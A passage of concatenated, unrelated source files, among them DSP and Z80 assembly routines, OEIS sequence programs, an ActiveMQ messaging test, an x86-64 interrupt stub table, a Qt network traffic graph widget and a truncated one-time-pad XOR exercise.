jp CopyBytes
INCLUDE "data/types/category_names.asm"
|
;***********************************************************
; Version 2.40.00
;***********************************************************
;****************************************************************
; Function: maxidx
; Processor: C55xx
; Description: Description: Returns the index of the maximum element of a vector x. In case
; of multiple maximum elements, r contains the index of the last maximum
; element found
; Usage: short r = maxidx (DATA *x, ushort ng, ushort ng_size)
; Arguments:
; *x Pointer to input vector of size nx
; ng Number of groups forming the x[NX] array
; ng_size Size of the group
; r Index for vector element with maximum value
;
;
; State of the registers after the call:
;
; XAR0 contains *x
; T0 contains ng
; T1 contains ng_size
;
;
;
; Copyright Texas instruments Inc, 2000
; History:
; 2.10 Cesar I. optimized code for benchmark purpose. 08/03/01
; 2.11 Li Yuan fixed code to work when the first element is the max 07/11/02
;****************************************************************
.ARMS_off ;enable assembler for ARMS=0
.mmregs ;enable mem mapped register names
.noremark 5555, 5584, 5573, 5572
; Local variable
;----------------
.bss MAX_VALUE, 2
MAX_INDEX .set MAX_VALUE + 1
; Stack frame
; -----------
RET_ADDR_SZ .set 1 ;return address
REG_SAVE_SZ .set 0 ;save-on-entry registers saved
FRAME_SZ .set 0 ;local variables
ARG_BLK_SZ .set 0 ;argument block
PARAM_OFFSET .set ARG_BLK_SZ + FRAME_SZ + REG_SAVE_SZ + RET_ADDR_SZ
;----------------------------------------------------------------
; Assign auxiliary registers for temporaries and address
; calculations.
;----------------------------------------------------------------
.asg AR0, x_ptr ;linear pointer
.asg AR1, maxv_ptr ;linear pointer
.asg AR5, trn0_ptr ; linear pointer
.asg AR6, trn1_ptr ; linear pointer
.asg BRC0, outer_cnt ;outer loop count
.text
.global _maxidx
_maxidx:
;
; Allocate the local frame and argument block
;----------------------------------------------------------------
; AADD #-(ARG_BLK_SZ + FRAME_SZ + REG_SAVE_SZ), SP
; - not necessary for this function (the above is zero)
;
; Save any save-on-entry registers that are used
;----------------------------------------------------------------
PSH T2
PSH T3
PSHBOTH XAR5
PSHBOTH XAR6
PSHBOTH XAR7
;
; Configure the status registers as needed.
;----------------------------------------------------------------
BCLR #C54CM, ST1_55
BCLR #ARMS, ST2_55
BCLR #CPL, ST1_55 ;DP relative addressing
PSH mmap(@DP_L)
MOV #0, DP ;set DP=0 for mmreg accesses
.dp 0
;-----------------------------------------------------------------------
; Copy arguments to local locations and set registers
;
;-----------------------------------------------------------------------
; x pointer - passed in its destination register, need do nothing
;Note: *AR1+ and *AR1- modifiers are needed in following instructions
;to allow parallelism with the blockrepeat instruction (cannot parallelize
;with *AR1(#1) = #0).
AMOV #MAX_VALUE, XAR1 ;pointer to .bss base
;
; Setup loop counts
;----------------------------------------------------------------
SUB #1, T0 ;T0 = ng-1
MOV T0, outer_cnt ;outer loop executes ng times
|| MOV *x_ptr, *maxv_ptr+ ;MAX_VALUE = Aaddr[0]
MOV T1, T3
|| SUB AC3, AC3 ; ac3 = #0 used to initialize TRN0,1
SFTL T1, #-1
|| MOV #TRN1_L, trn1_ptr
SUB #2, T1
MOV T1, CSR ;CSR = NG_SIZE/2 - 2
|| MOV #TRN0_L, trn0_ptr
MOV T1, AR3 ;init position of leading zero
SUB T1, T1
||MOV #0ffh, AR7
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MOV T1, AR4 ;save base index of max value initially
MOV #0, *AR1- ;MAX_INDEX = 0
||RPTBLOCAL outer_loop
;BENCHMARK KERNEL ******************************************************
;Data values are processed via the outer loop N_GROUP values at a time.
;The outer loop is therefore executed N_INPUT/N_GROUP times.
;START OF OUTER LOOP *******************
MOV AC3, dbl(*AR6) ; AC3 = #0 ; init TRN1 = #0
|| MOV dbl(*AR0+), AC1 ;AC1_H = Aaddr[0], AC1_L = Aaddr[1]
MOV dbl(*AR0+), AC0 ;AC0_H = Aaddr[2], AC0_L = Aaddr[3]
|| RPT CSR ;repeat( #( (N_GROUP/2 - 1) - 1) )
;START OF INNER LOOP *******************
MOV dbl(*AR0+), AC0
|| MAXDIFF AC0, AC1, AC1, AC2 ;AC1_H/L contain max's
;END OF INNER LOOP ***************
MOV *AR1, AC0 ;AC0 = old max value
||SUB #2, AR0
MOV AC1, T0 ; T0 = odd max value
|| MOV @AC1_H, AC1 ; AC1_L = even max value
;test max(odd max value, even max value), Carry bit affected
MAX T0, AC1 ;AC1 = max(odd max value, even max value)
;test max(old max value, new max value)
CMP AC1>AC0, TC1 ;TC1 set if max(odd,even) value > old max value
;assume even max value > odd max value
MOV T1, T0 ;DR0 setup for even max index computation
|| MOV @TRN0_L << #16, AC0 ;AC0_H = TRN0 (setup for even max index)
ADD T3, T1 ;T3 = #N_GROUP ;add N_GROUP to index base
MOV AR3, AC2 ; AR3 = #(N_GROUP/2 - 2) ;index seed value
|| XCCPART label1, !CARRY ;if Carry=0 then odd max value > even max value
; move at the last place to take advantage of localrepeat
label1:
MOV @TRN1_L << #16, AC0 ;AC0_H = TRN1 (setup for odd max index)
|| ADD #1, T0 ;DR0 modified for odd max index computation
;PERFORM IN_LOOP NECESSARY PORTION OF INDEX COMPUTATION **********
; if TC1=1 or TC2=1, then a new max value is > old max value
MOV AC3, *AR5 ; AC3 = #0 ; init TRN0 = #0
||XCCPART label2 , TC1
label2:
MOV T0, AR4 ;save base index of max value
|| MOV AR7, @AC0_G ;AC0_G = 0xff, to isolate leading zero
XCC label3, TC1
outer_loop:
label3: EXP AC0, T2 ;T2 = position of leading zero in AC0
|| MOV AC1, *AR1 ;update MAX_VALUE
;end outer loop
SUB T2, AC2 ;subtract lead zero position from index seed
SFTL AC2, #1 ;mult by 2 since 2 values tested per iteration
ADD AR4,AC2 ;AC2 = index of max value
MOV AC2, T0 ; return value
;
; Restore status regs to expected C-convention values as needed
;----------------------------------------------------------------
BSET #ARMS, ST2_55
BSET #CPL, ST1_55 ;SP relative addressing
;
; Restore any save-on-entry registers that are used
;----------------------------------------------------------------
POP mmap(@DP_L)
POPBOTH XAR7
POPBOTH XAR6
POPBOTH XAR5
POP T3
POP T2
;
; Deallocate the local frame and argument block
;----------------------------------------------------------------
; AADD #+(ARG_BLK_SZ + FRAME_SZ + REG_SAVE_SZ), SP
; - not necessary for this function (the above is zero)
RET
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "CmsTemplateTest.h"
#include <activemq/util/IntegrationCommon.h>
#include <activemq/core/ActiveMQConnectionFactory.h>
#include <activemq/cmsutil/CmsTemplate.h>
#include <activemq/cmsutil/MessageCreator.h>
#include <activemq/exceptions/ActiveMQException.h>
#include <decaf/util/concurrent/CountDownLatch.h>
#include <decaf/lang/Thread.h>
using namespace std;
using namespace cms;
using namespace activemq;
using namespace activemq::test;
using namespace activemq::util;
using namespace activemq::core;
using namespace activemq::exceptions;
using namespace decaf;
using namespace decaf::util;
using namespace decaf::util::concurrent;
using namespace decaf::lang;
////////////////////////////////////////////////////////////////////////////////
namespace activemq {
namespace test {
class TextMessageCreator : public activemq::cmsutil::MessageCreator {
private:
std::string text;
public:
TextMessageCreator( const std::string& text) {
this->text = text;
}
virtual ~TextMessageCreator() throw() {}
std::string getText() const {
return text;
}
virtual cms::Message* createMessage( cms::Session* session )
throw ( cms::CMSException ) {
return session->createTextMessage(text);
}
};
class Sender : public decaf::lang::Runnable {
private:
activemq::core::ActiveMQConnectionFactory cf;
activemq::cmsutil::CmsTemplate cmsTemplate;
int count;
public:
Sender( const std::string& url, bool pubSub, const std::string& destName, int count ) {
cf.setBrokerURI(url);
cmsTemplate.setConnectionFactory(&cf);
cmsTemplate.setPubSubDomain(pubSub);
cmsTemplate.setDefaultDestinationName(destName);
cmsTemplate.setDeliveryPersistent(false);
this->count = count;
}
virtual ~Sender(){
}
virtual void run() {
try {
// Send a batch of messages.
TextMessageCreator tmc("hello world");
for( int ix=0; ix<count; ++ix ) {
cmsTemplate.send( &tmc );
}
} catch( cms::CMSException& ex) {
ex.printStackTrace();
}
}
};
class Receiver : public decaf::lang::Runnable {
private:
activemq::core::ActiveMQConnectionFactory cf;
activemq::cmsutil::CmsTemplate cmsTemplate;
int count;
int numReceived;
decaf::util::concurrent::CountDownLatch ready;
public:
Receiver( const std::string& url, bool pubSub, const std::string& destName, int count )
: ready(1) {
cf.setBrokerURI(url);
cmsTemplate.setConnectionFactory(&cf);
cmsTemplate.setPubSubDomain(pubSub);
cmsTemplate.setDefaultDestinationName(destName);
cmsTemplate.setDeliveryPersistent(false);
this->count = count;
}
virtual ~Receiver() throw() {
}
int getNumReceived() const {
return numReceived;
}
virtual void waitUntilReady() {
ready.await();
}
virtual void run() {
try {
numReceived = 0;
ready.countDown();
// Receive a batch of messages.
for( int ix=0; ix<count; ++ix ) {
cms::Message* message = cmsTemplate.receive();
numReceived++;
delete message;
}
} catch( cms::CMSException& ex) {
ex.printStackTrace();
}
}
};
}}
////////////////////////////////////////////////////////////////////////////////
void CmsTemplateTest::testBasics() {
try {
const unsigned int NUM_MESSAGES = IntegrationCommon::defaultMsgCount;
Receiver receiver( this->getBrokerURL(), false, "testBasics1", NUM_MESSAGES);
Thread rt( &receiver );
rt.start();
// Wait for receiver thread to start.
receiver.waitUntilReady();
Sender sender( this->getBrokerURL(), false, "testBasics1", NUM_MESSAGES);
Thread st( &sender );
st.start();
st.join();
rt.join();
unsigned int numReceived = receiver.getNumReceived();
CPPUNIT_ASSERT( numReceived == NUM_MESSAGES );
} catch ( ActiveMQException e ) {
e.printStackTrace();
throw e;
}
}
////////////////////////////////////////////////////////////////////////////////
void CmsTemplateTest::testReceiveException() {
try {
// First, try receiving from a bad url
activemq::core::ActiveMQConnectionFactory cf("tcp://localhost:61666");
activemq::cmsutil::CmsTemplate cmsTemplate(&cf);
cmsTemplate.setDefaultDestinationName("testReceive1");
try {
cmsTemplate.receive();
CPPUNIT_FAIL("failed to throw expected exception");
} catch( CMSException& ex ) {
// Expected.
}
// Now change to a good url and verify that we can reuse the same
// CmsTemplate successfully.
activemq::core::ActiveMQConnectionFactory cf2( this->getBrokerURL() );
cmsTemplate.setConnectionFactory(&cf2);
// Send 1 message.
Sender sender( this->getBrokerURL(), false, "testReceive1", 1);
Thread st( &sender );
st.start();
st.join();
// Receive the message.
cms::Message* message = cmsTemplate.receive();
CPPUNIT_ASSERT( message != NULL );
delete message;
} catch ( CMSException& e ) {
e.printStackTrace();
CPPUNIT_ASSERT( false );
}
}
////////////////////////////////////////////////////////////////////////////////
void CmsTemplateTest::testSendException() {
try {
// First, try sending to a bad url.
activemq::core::ActiveMQConnectionFactory cf( "tcp://localhost:61666" );
activemq::cmsutil::CmsTemplate cmsTemplate( &cf );
cmsTemplate.setDefaultDestinationName( "testSend1" );
try {
TextMessageCreator msgCreator( "hello world" );
cmsTemplate.send( &msgCreator );
CPPUNIT_FAIL( "failed to throw expected exception" );
} catch( CMSException& ex ) {
// Expected.
}
// Now change to a good url and verify that we can reuse the same
// CmsTemplate successfully.
activemq::core::ActiveMQConnectionFactory cf2( this->getBrokerURL() );
cmsTemplate.setConnectionFactory( &cf2 );
TextMessageCreator msgCreator( "hello world" );
cmsTemplate.send( &msgCreator );
} catch ( CMSException& e ) {
e.printStackTrace();
throw e;
}
}
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; size_t b_array_capacity(b_array_t *a)
;
; Return the amount of space allocated for the array.
;
; ===============================================================
SECTION code_adt_b_array
PUBLIC asm_b_array_capacity
EXTERN l_readword_hl
defc asm_b_array_capacity = l_readword_hl - 4
; enter : hl = array *
;
; exit : hl = capacity in bytes
;
; uses : a, hl
|
; A221731: Number of n X 2 arrays of occupancy after each element stays put or moves to some horizontal or antidiagonal neighbor, without move-in move-out left turns.
; Submitted by Jon Maiga
; 3,17,91,489,2627,14113,75819,407321,2188243,11755857,63155771,339290569,1822764387,9792403073,52607544139,282622526841,1518327722483,8156883666097,43821073775451,235419136209449,1264737828598147,6794527415409633,36502112734244459,196099618502041561,1053502317978696723,5659710826897566737,30405558770445227131,163347215506021269129,877547195070996799907,4714430406367026537793,25327246421977126288779,136065092922619684519481,730979957457052675174963,3927029973130502744913777
lpb $0
sub $0,1
add $1,1
add $3,1
mov $2,$3
mul $2,6
mul $3,4
add $3,$1
add $1,$2
lpe
mov $0,$1
mul $0,2
add $0,3
|
/**
* Copyright (c) 2021 Darius Rückert
* Licensed under the MIT License.
* See LICENSE file for more information.
*/
#include "controllable_camera.h"
#include "saiga/core/imgui/imgui.h"
namespace Saiga
{
void CameraController::imgui()
{
ImGui::InputFloat("movementSpeed", &movementSpeed);
ImGui::InputFloat("movementSpeedFast", &movementSpeedFast);
ImGui::InputFloat("rotationSpeed", &rotationSpeed);
ImGui::Checkbox("mouseTurnLocal", &mouseTurnLocal);
}
} // namespace Saiga
|
/*=============================================================================
Copyright (c) 2001-2007 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#if !defined(FUSION_INCLUDE_FILTER_IF)
#define FUSION_INCLUDE_FILTER_IF
#include <boost/fusion/support/config.hpp>
#include <boost/fusion/algorithm/transformation/filter_if.hpp>
#endif
|
; A212699: Main transitions in systems of n particles with spin 2.
; 4,40,300,2000,12500,75000,437500,2500000,14062500,78125000,429687500,2343750000,12695312500,68359375000,366210937500,1953125000000,10375976562500,54931640625000,289916992187500,1525878906250000,8010864257812500,41961669921875000,219345092773437500,1144409179687500000,5960464477539062500,30994415283203125000,160932540893554687500,834465026855468750000,4321336746215820312500,22351741790771484375000,115483999252319335937500,596046447753906250000000,3073364496231079101562500,15832483768463134765625000,81490725278854370117187500,419095158576965332031250000,2153683453798294067382812500,11059455573558807373046875000,56752469390630722045898437500,291038304567337036132812500000,1491571310907602310180664062500,7639755494892597198486328125000,39108272176235914230346679687500,200088834390044212341308593750000,1023181539494544267654418945312500,5229594535194337368011474609375000,26716406864579766988754272460937500,136424205265939235687255859375000000,696331881044898182153701782226562500
mov $1,5
pow $1,$0
add $0,1
mul $1,$0
mul $1,4
mov $0,$1
|
// Autogenerated from CppHeaderCreator
// Created by Sc2ad
// =========================================================================
#pragma once
// Begin includes
#include "extern/beatsaber-hook/shared/utils/typedefs.h"
#include "extern/beatsaber-hook/shared/utils/byref.hpp"
// Including type: UnityEngine.Experimental.TerrainAPI.TerrainUtility
#include "UnityEngine/Experimental/TerrainAPI/TerrainUtility.hpp"
// Including type: System.Collections.Generic.Dictionary`2
#include "System/Collections/Generic/Dictionary_2.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-properties.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-fields.hpp"
#include "extern/beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Type namespace: UnityEngine.Experimental.TerrainAPI
namespace UnityEngine::Experimental::TerrainAPI {
// Forward declaring type: TerrainGroups
class TerrainGroups;
}
#include "extern/beatsaber-hook/shared/utils/il2cpp-type-check.hpp"
NEED_NO_BOX(UnityEngine::Experimental::TerrainAPI::TerrainUtility::TerrainGroups);
DEFINE_IL2CPP_ARG_TYPE(UnityEngine::Experimental::TerrainAPI::TerrainUtility::TerrainGroups*, "UnityEngine.Experimental.TerrainAPI", "TerrainUtility/TerrainGroups");
// Type namespace: UnityEngine.Experimental.TerrainAPI
namespace UnityEngine::Experimental::TerrainAPI {
// WARNING Size may be invalid!
// Autogenerated type: UnityEngine.Experimental.TerrainAPI.TerrainUtility/UnityEngine.Experimental.TerrainAPI.TerrainGroups
// [TokenAttribute] Offset: FFFFFFFF
class TerrainUtility::TerrainGroups : public System::Collections::Generic::Dictionary_2<int, UnityEngine::Experimental::TerrainAPI::TerrainUtility::TerrainMap*> {
public:
// public System.Void .ctor()
// Offset: 0x25D01A4
// Implemented from: System.Collections.Generic.Dictionary`2
// Base method: System.Void Dictionary_2::.ctor()
// Base method: System.Void Object::.ctor()
template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary>
static TerrainUtility::TerrainGroups* New_ctor() {
static auto ___internal__logger = ::Logger::get().WithContext("UnityEngine::Experimental::TerrainAPI::TerrainUtility::TerrainGroups::.ctor");
return THROW_UNLESS((::il2cpp_utils::New<TerrainUtility::TerrainGroups*, creationType>()));
}
}; // UnityEngine.Experimental.TerrainAPI.TerrainUtility/UnityEngine.Experimental.TerrainAPI.TerrainGroups
}
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"
// Writing MetadataGetter for method: UnityEngine::Experimental::TerrainAPI::TerrainUtility::TerrainGroups::New_ctor
// Il2CppName: .ctor
// Cannot get method pointer of value based method overload from template for constructor!
// Try using FindMethod instead!
|
bits 64
; Interrupt Gates, interrupts are automatically disabled upon entry and reenabled upon IRET
extern exception_handler
extern warn_interrupt
extern keyboard_handler
extern mouse_handler
extern ata_primary_handler
extern ata_secondary_handler
extern timer_handler
%macro pushaq 0
push rdi
push rsi
push rdx
push rcx
push rax
push r8
push r9
%endmacro
%macro popaq 0
pop r9
pop r8
pop rax
pop rcx
pop rdx
pop rsi
pop rdi
%endmacro
isr_double_fault:
pushaq
mov rdi, 0x8
call warn_interrupt
call exception_handler
popaq
iretq
isr_general_protection_fault:
pushaq
mov rdi, 0xd
call warn_interrupt
call exception_handler
popaq
iretq
isr_page_fault:
pushaq
mov rdi, 0xe
call warn_interrupt
call exception_handler
popaq
iretq
irq_timer:
pushaq
call timer_handler
popaq
iretq
irq_keyboard:
pushaq
call keyboard_handler
popaq
iretq
irq_mouse:
pushaq
call mouse_handler
popaq
iretq
irq_primary_ata:
pushaq
call ata_primary_handler
popaq
iretq
irq_secondary_ata:
pushaq
call ata_secondary_handler
popaq
iretq
%macro reserved 1
reserved_%1:
pushaq
mov rdi, %1
call warn_interrupt
popaq
nop
%endmacro
%macro not_implemented 1
not_implemented_%1:
pushaq
mov rdi, %1
call warn_interrupt
popaq
nop
%endmacro
; Generate the labels.
not_implemented 0
not_implemented 1
not_implemented 2
not_implemented 3
not_implemented 4
not_implemented 5
not_implemented 6
not_implemented 7
not_implemented 9
not_implemented 10
not_implemented 11
not_implemented 12
not_implemented 16
not_implemented 17
not_implemented 18
not_implemented 19
not_implemented 20
not_implemented 21
not_implemented 28
not_implemented 29
not_implemented 30
not_implemented 34
not_implemented 35
not_implemented 36
not_implemented 37
not_implemented 38
not_implemented 39
not_implemented 40
not_implemented 41
not_implemented 42
not_implemented 43
not_implemented 45
not_implemented 46
not_implemented 47
reserved 15
reserved 22
reserved 23
reserved 24
reserved 25
reserved 26
reserved 27
reserved 31
global isr_stub_table
isr_stub_table:
; 0 Divide-by-zero Error
dq not_implemented_0
; 1 Debug
dq not_implemented_1
; 2 Non-maskable Interrupt
dq not_implemented_2
; 3 Breakpoint
dq not_implemented_3
; 4 Overflow
dq not_implemented_4
; 5 Bound Range Exceeded
dq not_implemented_5
; 6 Invalid Opcode
dq not_implemented_6
; 7 Device Not Available
dq not_implemented_7
; 8 Double Fault
dq isr_double_fault
; 9 Coprocessor Segment Overrun
dq not_implemented_9
; 10 Invalid TSS
dq not_implemented_10
; 11 Segment Not Present
dq not_implemented_11
; 12 Stack-Segment Fault
dq not_implemented_12
; 13 General Protection Fault
dq isr_general_protection_fault
; 14 Page Fault
dq isr_page_fault
; 15 Reserved
dq reserved_15
; 16 x87 Floating-Point Exception
dq not_implemented_16
; 17 Alignment Check
dq not_implemented_17
; 18 Machine Check
dq not_implemented_18
; 19 SIMD Floating-Point Exception
dq not_implemented_19
; 20 Virtualization Exception
dq not_implemented_20
; 21 Control Protection Exception
dq not_implemented_21
; 22 Reserved
dq reserved_22
; 23 Reserved
dq reserved_23
; 24 Reserved
dq reserved_24
; 25 Reserved
dq reserved_25
; 26 Reserved
dq reserved_26
; 27 Reserved
dq reserved_27
; 28 Hypervisor Injection Exception
dq not_implemented_28
; 29 VMM Communication Exception
dq not_implemented_29
; 30 Security Exception
dq not_implemented_30
; 31 Reserved
dq reserved_31
; 32 Remapped: Programmable Interrupt Timer Interrupt
dq irq_timer
; 33 Remapped: Keyboard Interrupt
dq irq_keyboard
; 34 Remapped: Cascade
dq not_implemented_34
; 35 Remapped: COM2
dq not_implemented_35
; 36 Remapped: COM1
dq not_implemented_36
; 37 Remapped: LPT2
dq not_implemented_37
; 38 Remapped: Floppy Disk
dq not_implemented_38
; 39 Remapped: LPT1
dq not_implemented_39
; 40 Remapped: CMOS real-time clock
dq not_implemented_40
; 41 Remapped: Free for peripherals
dq not_implemented_41
; 42 Remapped: Free for peripherals
dq not_implemented_42
; 43 Remapped: Free for peripherals
dq not_implemented_43
; 44 Remapped: PS2 Mouse
dq irq_mouse
; 45 Remapped: FPU
dq not_implemented_45
; 46 Remapped: Primary ATA Hard Disk
dq irq_primary_ata
; 47 Remapped: Secondary ATA Hard Disk
dq irq_secondary_ata
|
;
; Database Call for REX6000
;
; DbDeleteText
;
; $Id: DbDeleteText.asm,v 1.2 2002/04/17 21:30:25 dom Exp $
XLIB DbDeleteText
.DbDeleteText
ld ix,2
add ix,sp
ld hl,$0000
push hl
ld hl,$0003
push hl
ld hl,$0000
push hl
add hl,sp
ld ($c00a),hl
ld l,(ix+0)
ld h,(ix+1)
ld ($c008),hl
ld l,(ix+2)
ld h,(ix+3)
ld ($c006),hl
ld l,(ix+4)
ld h,(ix+5)
ld ($c004),hl
ld l,(ix+6)
ld h,(ix+7)
ld ($c002),hl
ld hl,$00ea
ld ($c000),hl
rst $10
ld hl,($c00e)
pop af
pop af
pop af
ret
|
; void sms_aplib_depack_vram(void *dst, void *src)
SECTION code_clib
SECTION code_compress_aplib
PUBLIC sms_aplib_depack_vram
EXTERN asm_sms_aplib_depack_vram
sms_aplib_depack_vram:
pop af
pop hl
pop de
push de
push hl
push af
jp asm_sms_aplib_depack_vram
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _sms_aplib_depack_vram
defc _sms_aplib_depack_vram = sms_aplib_depack_vram
ENDIF
|
; A016273: Expansion of 1/((1-2x)(1-3x)(1-5x)).
; Submitted by Jon Maiga
; 1,10,69,410,2261,11970,61909,315850,1598421,8050130,40425749,202656090,1014866581,5079099490,25409813589,127092049130,635589254741,3178333432050,15892828897429,79467630222970,397348609370901,1986774423719810,9933966253389269
mov $1,1
mov $2,1
mov $3,2
lpb $0
sub $0,1
mul $1,5
mul $3,3
add $3,2
add $1,$3
mul $2,2
add $2,1
sub $1,$2
lpe
mov $0,$1
|
; A347950: Characteristic function of numbers that have middle divisors.
; Submitted by Jon Maiga
; 1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1
seq $0,347266 ; a(n) is the number whose binary representation is the concatenation of terms in the n-th row of A237048.
seq $0,345927 ; Alternating sum of the binary expansion of n (row n of A030190). Replace 2^k with (-1)^(A070939(n)-k) in the binary expansion of n (compare to the definition of A065359).
seq $0,38 ; Twice A000007.
div $0,2
add $0,1
mod $0,2
|
// Copyright (c) 2011-2015 The Bitcoin Core developers
// Copyright (c) 2017 The Marlin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "trafficgraphwidget.h"
#include "clientmodel.h"
#include <QPainter>
#include <QColor>
#include <QTimer>
#include <cmath>
#define DESIRED_SAMPLES 800
#define XMARGIN 10
#define YMARGIN 10
TrafficGraphWidget::TrafficGraphWidget(QWidget *parent) :
QWidget(parent),
timer(0),
fMax(0.0f),
nMins(0),
vSamplesIn(),
vSamplesOut(),
nLastBytesIn(0),
nLastBytesOut(0),
clientModel(0)
{
timer = new QTimer(this);
connect(timer, SIGNAL(timeout()), SLOT(updateRates()));
}
void TrafficGraphWidget::setClientModel(ClientModel *model)
{
clientModel = model;
if(model) {
nLastBytesIn = model->getTotalBytesRecv();
nLastBytesOut = model->getTotalBytesSent();
}
}
int TrafficGraphWidget::getGraphRangeMins() const
{
return nMins;
}
void TrafficGraphWidget::paintPath(QPainterPath &path, QQueue<float> &samples)
{
int sampleCount = samples.size();
if(sampleCount > 0) {
int h = height() - YMARGIN * 2, w = width() - XMARGIN * 2;
int x = XMARGIN + w;
path.moveTo(x, YMARGIN + h);
for(int i = 0; i < sampleCount; ++i) {
x = XMARGIN + w - w * i / DESIRED_SAMPLES;
int y = YMARGIN + h - (int)(h * samples.at(i) / fMax);
path.lineTo(x, y);
}
path.lineTo(x, YMARGIN + h);
}
}
void TrafficGraphWidget::paintEvent(QPaintEvent *)
{
QPainter painter(this);
painter.fillRect(rect(), Qt::black);
if(fMax <= 0.0f) return;
QColor axisCol(Qt::gray);
int h = height() - YMARGIN * 2;
painter.setPen(axisCol);
painter.drawLine(XMARGIN, YMARGIN + h, width() - XMARGIN, YMARGIN + h);
// decide what order of magnitude we are
int base = floor(log10(fMax));
float val = pow(10.0f, base);
const QString units = tr("KB/s");
const float yMarginText = 2.0;
// draw lines
painter.setPen(axisCol);
painter.drawText(XMARGIN, YMARGIN + h - h * val / fMax-yMarginText, QString("%1 %2").arg(val).arg(units));
for(float y = val; y < fMax; y += val) {
int yy = YMARGIN + h - h * y / fMax;
painter.drawLine(XMARGIN, yy, width() - XMARGIN, yy);
}
// if we drew 3 or fewer lines, break them up at the next lower order of magnitude
if(fMax / val <= 3.0f) {
axisCol = axisCol.darker();
val = pow(10.0f, base - 1);
painter.setPen(axisCol);
painter.drawText(XMARGIN, YMARGIN + h - h * val / fMax-yMarginText, QString("%1 %2").arg(val).arg(units));
int count = 1;
for(float y = val; y < fMax; y += val, count++) {
// don't overwrite lines drawn above
if(count % 10 == 0)
continue;
int yy = YMARGIN + h - h * y / fMax;
painter.drawLine(XMARGIN, yy, width() - XMARGIN, yy);
}
}
if(!vSamplesIn.empty()) {
QPainterPath p;
paintPath(p, vSamplesIn);
painter.fillPath(p, QColor(0, 255, 0, 128));
painter.setPen(Qt::green);
painter.drawPath(p);
}
if(!vSamplesOut.empty()) {
QPainterPath p;
paintPath(p, vSamplesOut);
painter.fillPath(p, QColor(255, 0, 0, 128));
painter.setPen(Qt::red);
painter.drawPath(p);
}
}
void TrafficGraphWidget::updateRates()
{
if(!clientModel) return;
quint64 bytesIn = clientModel->getTotalBytesRecv(),
bytesOut = clientModel->getTotalBytesSent();
float inRate = (bytesIn - nLastBytesIn) / 1024.0f * 1000 / timer->interval();
float outRate = (bytesOut - nLastBytesOut) / 1024.0f * 1000 / timer->interval();
vSamplesIn.push_front(inRate);
vSamplesOut.push_front(outRate);
nLastBytesIn = bytesIn;
nLastBytesOut = bytesOut;
while(vSamplesIn.size() > DESIRED_SAMPLES) {
vSamplesIn.pop_back();
}
while(vSamplesOut.size() > DESIRED_SAMPLES) {
vSamplesOut.pop_back();
}
float tmax = 0.0f;
for (float f : vSamplesIn) {
if(f > tmax) tmax = f;
}
for (float f : vSamplesOut) {
if(f > tmax) tmax = f;
}
fMax = tmax;
update();
}
void TrafficGraphWidget::setGraphRangeMins(int mins)
{
nMins = mins;
int msecsPerSample = nMins * 60 * 1000 / DESIRED_SAMPLES;
timer->stop();
timer->setInterval(msecsPerSample);
clear();
}
void TrafficGraphWidget::clear()
{
timer->stop();
vSamplesOut.clear();
vSamplesIn.clear();
fMax = 0.0f;
if(clientModel) {
nLastBytesIn = clientModel->getTotalBytesRecv();
nLastBytesOut = clientModel->getTotalBytesSent();
}
timer->start();
}
|
; A255308: Number of times log_2 can be applied to n until the result is not a power of 2. Here log_2 means the base-2 logarithm.
; Submitted by Simon Strandgaard
; 0,1,2,0,3,0,0,0,1,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
seq $0,293668 ; First differences of A292046.
sub $0,1
|
// This file auto generated by plugin for ida pro. Generated code only for x64. Please, dont change manually
#pragma once
#include <common/common.h>
#include <tagRAWHID.hpp>
#include <tagRAWKEYBOARD.hpp>
#include <tagRAWMOUSE.hpp>
START_ATF_NAMESPACE
union $A3E90FD3AE02296A3B348DF654F3F056
{
tagRAWMOUSE mouse;
tagRAWKEYBOARD keyboard;
tagRAWHID hid;
};
END_ATF_NAMESPACE
|
%include "io.mac"
section .text
global otp
extern printf
otp:
;; DO NOT MODIFY
push ebp
mov ebp, esp
pusha
mov edx, [ebp + 8] ; ciphertext
mov esi, [ebp + 12] ; plaintext
mov edi, [ebp + 16] ; key
mov ecx, [ebp + 20] ; length
;; DO NOT MODIFY
; Clear registers eax and ebx.
xor eax, eax
xor ebx, ebx
; Do for each character from the plain text and its corresponding
; character from the key.
otp_cipher:
; Move a character from the plaintext to al and its corresponding character
; from the key to bl.
mov al, byte[esi + ecx - 1]
mov bl, byte[edi + ecx - 1]
; XOR the two characters.
xor al, bl
; Move the resulted character from al to its corresponding position in
